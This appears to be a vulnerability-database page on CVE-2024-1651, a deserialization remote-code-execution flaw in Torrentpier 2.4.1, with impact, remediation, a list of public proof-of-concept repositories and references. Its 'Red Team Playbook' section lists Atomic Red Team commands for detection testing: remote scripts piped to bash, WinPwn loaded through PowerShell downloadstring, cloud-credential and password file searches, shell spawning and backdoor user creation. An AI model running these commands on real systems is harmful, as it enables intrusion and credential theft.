CVE-2024-1651
Overview
The vulnerability in Torrentpier 2.4.1 stems from insecure deserialization, where untrusted data is deserialized without proper validation. This flaw resides in the application's handling of serialized objects, allowing malicious input to manipulate the deserialization process. The affected component is the deserialization logic within the Torrentpier forum software, enabling execution of arbitrary commands on the server through crafted serialized payloads.
Vulnerability Description
Torrentpier version 2.4.1 allows executing arbitrary commands on the server. This is possible because the application is vulnerable to insecure deserialization.
Impact
An unauthenticated remote attacker can exploit this flaw to execute arbitrary commands on the server hosting Torrentpier 2.4.1, resulting in complete system takeover. This includes the ability to access, modify, or delete sensitive data and disrupt service availability. The attack requires no user interaction and can be performed remotely over the network (AV:N/AC:L/PR:N/UI:N), making it critical for organizations relying on this software to prevent unauthorized access and data breaches.
Solution
Users of Torrentpier version 2.4.1 should upgrade immediately to the latest patched version as detailed in the advisory published by Fluid Attacks (https://fluidattacks.com/advisories/xavi/). The vendor's GitHub repository also contains updated code that addresses the deserialization vulnerability. No official workaround is provided; therefore, applying the vendor-supplied patch or upgrading to a secure version is the recommended remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in Torrentpier version 2.4.1 is rooted in insecure deserialization, which allows an attacker to execute arbitrary commands on the server. Insecure deserialization occurs when an application accepts serialized data from an untrusted source without proper validation or sanitization. This flaw can lead to various critical security issues, as attackers can manipulate serialized objects to inject malicious payloads. In the case of Torrentpier, the lack of safeguards during the deserialization process enables an adversary to craft a specially formatted input that the application processes, ultimately leading to unauthorized command execution on the server.
Attack vectors for exploiting this vulnerability are varied and can be executed through multiple channels. An attacker might gain access to the application via a web interface, API, or any other input mechanism that accepts serialized data. Once the attacker identifies a point of entry, they can send a crafted payload that triggers the insecure deserialization process. This payload could be designed to execute system commands, manipulate files, or even escalate privileges, depending on the server's configuration and the permissions of the application. Scenarios could include remote code execution, data exfiltration, or even complete server takeover, making this vulnerability particularly dangerous.
The real-world impact of this vulnerability can be severe, especially for organizations relying on Torrentpier for file sharing and torrent management. The potential for arbitrary command execution means that an attacker could compromise sensitive data, disrupt services, or use the server as a launching pad for further attacks within the network. The business risks associated with such an incident include financial loss, reputational damage, and legal ramifications, particularly if sensitive user data is exposed. Organizations may also face compliance issues if they fail to protect user information adequately, leading to fines and other penalties.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, they should conduct a thorough security assessment of their applications, focusing on input validation and deserialization processes. Regular code reviews and static analysis can help identify insecure coding practices. Additionally, deploying web application firewalls (WAFs) can provide an extra layer of protection by filtering out malicious requests before they reach the application. Organizations should also consider updating to a patched version of Torrentpier or applying security patches that address this vulnerability. Furthermore, educating developers about secure coding practices and the risks associated with deserialization can significantly reduce the likelihood of similar vulnerabilities in the future.
In conclusion, the vulnerability in Torrentpier version 2.4.1 presents a significant threat due to its potential for arbitrary command execution through insecure deserialization. The attack vectors are diverse, and the real-world implications can lead to severe business risks. Organizations must prioritize detection and mitigation strategies to safeguard their systems against such vulnerabilities, ensuring that they maintain a robust security posture in an increasingly hostile digital landscape.
Affected Products (1)
| Vendor | Product | Version | CPE | |
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Torrentpier | Torrentpier | 2.4.1 |
cpe:2.3:a:torrentpier:torrentpier:2.4.1:*:*:*:*:*:*:*
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Disclaimer
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By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
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GitHub PoCs (4)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
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sharpicx/CVE-2024-1651-PoC
Torrentpier v2.4.1. CVE-2024-1651. Remote Code Execution (RCE). Exploit.
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sharpicx | 15 | 2 | 2024-02-23 | View |
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hy011121/CVE-2024-1651-exploit-RCE
(Mirorring)
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hy011121 | 3 | 1 | 2024-02-29 | View |
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Whiteh4tWolf/CVE-2024-1651-PoC
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Whiteh4tWolf | 0 | 1 | 2024-04-19 | View |
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killukeren/cve-2024-1651
anu
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killukeren | 0 | 0 | 2025-02-20 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
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Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
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CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
57%
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Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
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References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2024-1651 |
| github.com |
GitHub CVE
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https://github.com/torrentpier/torrentpier |
| fluidattacks.com |
GitHub CVE
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https://fluidattacks.com/advisories/xavi/ |